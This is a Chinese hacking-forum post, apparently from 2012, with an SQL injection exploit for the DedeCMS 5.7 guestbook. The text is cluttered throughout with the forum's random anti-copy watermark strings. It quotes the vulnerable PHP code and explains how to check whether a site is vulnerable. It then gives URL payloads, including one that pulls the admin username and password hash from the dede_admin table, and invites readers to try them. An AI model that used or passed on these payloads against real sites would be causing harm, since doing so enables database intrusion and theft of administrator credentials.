找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 4392|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.71 _5 }9 f. D+ ~# X

* d; h1 f) y9 }1 c! w7 [8 G漏洞文件edit.inc.php具体代码:
) ~2 R( l, a, t" h- U8 |- `0 G) ^
% Y" S8 k* X3 V7 E3 }) p" k< ?php  
+ C% `) {' m$ }* i3 g- A" A, Y8 w  d$ _
if(!defined('DEDEINC')) exit('Request Error!');  2 h5 Z& }$ q% E& A1 e+ k
! `2 `: z( c9 W' ^2 N3 Y/ R
   , J, s. ]6 @9 f0 @, s; @- y( o

* E) ~1 ?! ~, F" W+ J6 `" {$ a6 Pif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  ( i% \) c- s+ U. S  F
3 \+ V0 E9 v+ _
else $GUEST_BOOK_POS = "guestbook.php";  # S/ S+ g* ]- d
. W0 D9 ~- s, Y5 ^! Y  \( v6 @. y' Q
   5 B- @& r$ Y7 x  N( }9 l( H' a

4 m. K; z$ Q3 ?$id = intval($id);  
: s  j& B& S2 n' w1 }; A# K
. C6 S, I/ E% z" ?: k5 kif(empty($job)) $job='view';  8 X6 {& k: B' ?

# \5 f0 E, l$ S# e+ `9 W; g   $ A' U9 E3 m. r; @9 p5 x! a* q  X

1 E" Z0 c$ v- Hif($job=='del' && $g_isadmin)  & Q# L" ^" s* q2 x' |, ?6 M* j

) S4 }5 ~! e  {' j{  : Q4 j0 }, p3 C- ^- M, w0 I
- g) {5 ]& z3 w3 \( g
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
7 V% E, _4 M' ]. @5 K: ?* ^, f$ B7 W2 B' l! ^- X) M1 v
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  * Z& R5 D" I% O  B
& J' K5 _' ?+ e7 ]0 Z2 A
exit();  
1 n; z" \- x  S! Z
% Y* V( A( ~' r4 k" B$ `! }}  % T; U2 y( R4 m" [5 }) h1 u! q
7 K- I8 n: j. N. ?' q! y! n) I
else if($job=='check' && $g_isadmin)  9 K7 ^$ y; R7 b6 t, e

" \. L1 M2 k, d+ h. F+ b{  : l* B9 V/ m- E2 A

  V: e7 G9 _5 m# k$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  
; _% H! q8 t: q6 P+ m8 z8 c/ @9 z0 e% y1 [3 j, B% h
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  . X+ V! T+ @4 J0 l! j  y  o: o

6 u0 ~  G) ~3 H' c; ^  _+ {exit();  
+ d$ u/ Q6 K- U7 E+ t2 b& C8 n) p9 O3 @! N5 O" ]9 B, K
}  % ~6 H: O7 L) N3 t& v# Y: P# R/ ^

' P9 d6 }: P2 Z' m/ Selse if($job=='editok')  
' M8 O, W( O8 U* A" T( ?* f6 n6 ^8 y; d$ h8 m1 `
{  ; H1 E6 k1 C, p  H* _# v

* \, K3 u6 S* s3 r7 t) z$remsg = trim($remsg);  , f, s2 V0 ~! n4 J( z" Q& z% A
- T" Y" [: h7 t% ?7 i# ~; C9 P9 v
if($remsg!='')  ! o! p+ [$ @( ]% w! u

) }+ h6 M; Z, l5 m; A* R- k, S{  
5 q& t( @" s. N8 ~# e' I: k2 d* n
# p3 \. x4 t! x* I# c0 @//管理员回复不过滤HTML By:Errorera blog:errs.cc  
( U5 W. _7 a3 h2 R, b0 u- k- |0 E
9 o; R' X% o" u+ kif($g_isadmin)  1 j8 C5 S4 I' F+ Q6 q# Q' F
) o1 z/ n, g/ f2 C9 T
{  
2 s) j& W. p$ L( L& O$ b0 X- y% v" p
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  
4 h* `( p2 L+ s5 a+ c* K$ b0 v7 A  ?
; B0 i* s- |9 W7 O2 f0 J//$remsg <br /><font color=red>管理员回复:</font> }  3 i' P& Y# m1 q& ^

( m: u% ?6 J; r& ^/ J1 X7 Kelse + F5 f  X; a9 J, z! h5 T8 F% k
# H7 k0 M1 u3 Q$ P$ T$ Q: S9 e, a
{  
; g5 ], X$ {. n9 L2 h1 B
, X6 m5 H0 d* o6 H$ l/ o6 J$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  ' R/ _9 `1 t* b3 y
* o3 {& z- D9 H) k
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  5 ?5 [1 }: `5 k
% }* L8 `) @8 R' S9 n; v
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
: [. t1 s) h$ @1 i* r  s6 E6 c- O* @/ }, a$ T+ l" b9 ]  Z
$msg = $oldmsg.$remsg;  * g7 h4 ?: T5 o9 k  r  p
$ ], B. t! L# \1 m7 c' t% ]
}  ' q& B% U6 N* @. G8 q

/ D3 R( a3 D2 R& a* ?7 d1 Y}  2 X+ \1 J( a: b

& ~* `4 Y' M- j6 c2 v3 `//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  1 E% ]# V. x0 c4 I4 }" B
4 x+ ]% D8 B# ^! b% T/ O. u
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
+ |+ P+ P, X5 E' G; T, a0 w: P0 _5 L
# r/ R/ g6 g* ^ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  : ]8 j, n) F5 ]2 f

( Q7 n% q! J/ R% S; j3 c) `exit();  * `: w0 s# M. @- L! F

0 L: ~& D+ {8 v}  5 b$ A: }" z: B' \9 A
2 Z9 M6 |- w' a/ n+ C
//home:www.errs.cc  4 W& d2 U, [5 U( U. p( B  D- I: X  i

' O# _/ r! c9 n# u; I$ Sif($g_isadmin)  7 h) F) f7 X( A- a. m. Q

' {9 u3 M5 \- ?/ m' h  P; ^3 h{  
8 ^1 R9 ]' J' a" j4 |& E  S
& n$ u, K6 D# ^# S; G. C$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  3 M, S/ }7 s' }7 j, e: W2 S
2 h; P/ ~; }5 H# C8 D! W+ R0 |1 G) e
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  " k6 h4 X) Z6 B" u3 S

  g2 [. G% ?4 M0 u, {8 I) O. O- b}  
/ P8 B5 e; Q; |0 f2 P" ~
, ]4 R4 y" ~6 V9 w  {" d; Selse 2 Y' c, ]9 P+ e9 Q" O8 d

8 _5 _( Z5 W6 M5 O* L{  
6 A  s( P* U2 _6 i$ A; E/ S9 h$ x  _, `; Q$ U
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
, S7 ~. t! X! H7 g
' ^6 s! O( A8 n7 h2 e! f8 Crequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
% @! b5 c2 K  S- J0 T7 {. i& v) Q! d) C
} 漏洞成功需要条件:
! V4 r- e0 i' G. K6 K1. php magic_quotes_gpc=off4 r! B  s' j. y' K1 E- n
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。% k- K; I, C4 O7 G
- {0 V* w* m4 E  y
怎么判断是否存在漏洞:$ z* y$ K. {+ ?4 o" v! H
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,1 T) b9 `* r5 b
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
1 s+ d/ E* m+ O5 r/ c) M# P$ h访问:5 S, }+ W# i" p1 C) r

6 _# f* I7 `4 K2 s2 z7 Twww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
' I) S7 |% A5 Y( s7 S* y跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证% Q! R6 ^9 j6 r7 M7 k- G
4 z. Y. F6 L' y6 h3 d+ n
7 x7 C. f2 t' I. @3 b
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off5 y# t' ]. ~! ]% R- [( E
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。+ g+ W2 _/ E- Y) z8 E* s. P1 ]( y
那么再次访问1 k+ v7 [, s3 q8 N: q

1 ^+ T2 j# u5 |! j. }6 Fwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
- y; k' X+ k5 S  T
, K8 {/ k+ n  b& N4 k+ P" B大概利用就是这样,大家有兴趣的多研究下!!
+ b) a3 Z" d1 C. l1 W9 @3 V8 j+ w* y0 i; E1 G6 H& t
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!6 B' [8 w" Z( `$ M: j  D
' O" _! F0 Z# [+ ?& S
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表